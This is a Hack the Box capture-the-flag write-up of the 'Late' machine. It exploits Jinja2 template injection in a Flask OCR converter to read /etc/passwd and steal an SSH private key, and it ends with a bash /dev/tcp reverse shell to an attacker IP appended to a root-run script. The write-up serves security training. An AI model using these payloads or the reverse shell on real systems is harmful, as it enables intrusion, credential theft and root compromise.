Back to Security
EasyHack the Box

Late

Flask/Jinja2 SSTI exploitation through image-to-text converter. Injected Python subclass payloads to extract SSH keys, then escalated via writable ssh-alert.sh script to catch reverse shell as root.

DifficultyEasy
DateJune 23, 2022
SSTI (Jinja2)Flask ExploitationSSH Key ExtractionReverse ShellLinPEAS

Port Scanning and Reconnaissance

Starting with a RustScan to quickly identify open ports on the target machine.

RustScan results showing open ports

RustScan reveals two open ports: 22 (SSH) and 80 (HTTP). A minimal attack surface — the web server is our primary entry point.

Navigating to port 80, we land on a website for "Late" — described as an online photo editor. The homepage is clean and fairly simple.

Late website homepage

Exploring the site further, the FAQ section reveals that Late is marketed as a free online photo editor — a simpler alternative to Photoshop. Nothing immediately exploitable here, but useful context.

Late FAQ page

Looking at the page source, there's a link pointing to images.late.htb — a virtual host that doesn't resolve yet.

Cannot connect to images.late.htb

We add both late.htb and images.late.htb to our /etc/hosts file to resolve the virtual hosts.

/etc/hosts file with images.late.htb

Now images.late.htb resolves and reveals a Flask-based image-to-text converter. This is immediately interesting — Flask applications using template engines are common SSTI targets.

images.late.htb — Convert image to text with Flask

SSTI Injection and Understanding The Application

The application converts uploaded images to text using OCR. Let's start by uploading a simple test image to understand how the conversion works.

Plain text test — "Let's see what this looks like"

The application returns the recognized text wrapped in HTML <p> tags — confirming the OCR pipeline works and that output is rendered through a template engine.

Now for the critical test: Server-Side Template Injection. Since this is a Flask app likely using Jinja2, we upload an image containing the expression {{4*10}}.

SSTI test with {{4*10}}

The result comes back as 40 — the expression was evaluated server-side. SSTI confirmed.

SSTI confirmed — result shows 40

With SSTI confirmed, we reference known Jinja2 payload techniques for reading files from the server. The key is traversing Python's Method Resolution Order (MRO) to access subprocess classes.

Jinja2 SSTI payload reference

We craft a payload to read /etc/passwd by accessing Python's subprocess.Popen through the class hierarchy:

{{(''.__class__.__mro__[1].__subclasses__()[249]("cat /etc/passwd", stdout=-1, shell=True).communicate()}}

SSTI payload for /etc/passwd

The payload succeeds — we can read arbitrary files on the system. The /etc/passwd output reveals a service account svc_acc with a home directory and bash shell.

/etc/passwd contents extracted via SSTI

With arbitrary file read confirmed, the next logical target is the SSH private key for the svc_acc user:

{{(''.__class__.__mro__[1].__subclasses__()[249]("cat ~/.ssh/id_rsa", stdout=-1, shell=True).communicate()}}

SSTI payload targeting SSH private key

The RSA private key is successfully extracted from the server.

Extracted RSA private key

SSH Login and User Flag

We save the extracted private key to a file, set proper permissions, and SSH in as svc_acc.

SSH login as svc_acc

We're in. Listing the home directory reveals user.txt — the user flag. Note that .bash_history is symlinked to /dev/null, which is a common sign that the box creator wants to prevent command history from leaking hints.

Home directory listing with user.txt

Privilege Escalation

With user access secured, it's time to escalate to root. We set up a Python HTTP server on our attack machine to serve LinPEAS — a Linux privilege escalation enumeration script.

Python HTTP server hosting LinPEAS

On the target, we download LinPEAS, make it executable, and run it.

Downloading and running LinPEAS

LinPEAS highlights a critical finding: /usr/local/sbin is in the system PATH and is writable. It also reveals cron jobs running as root.

LinPEAS output — PATH and crontab

Investigating further, we find a script at /usr/local/sbin/ssh-alert.sh that runs on every SSH login event. This script is writable by our user.

Contents of ssh-alert.sh

The script is triggered by PAM on SSH logins — meaning it executes as root. We append a reverse shell payload to the script:

bash -i >&#x26; /dev/tcp/10.10.14.10/9999 0>&#x26;1

Appending reverse shell to ssh-alert.sh

We set up a netcat listener on port 9999, trigger a new SSH login, and catch a root shell.

Root shell via netcat listener

We navigate to /root and confirm access to root.txt. Machine pwned.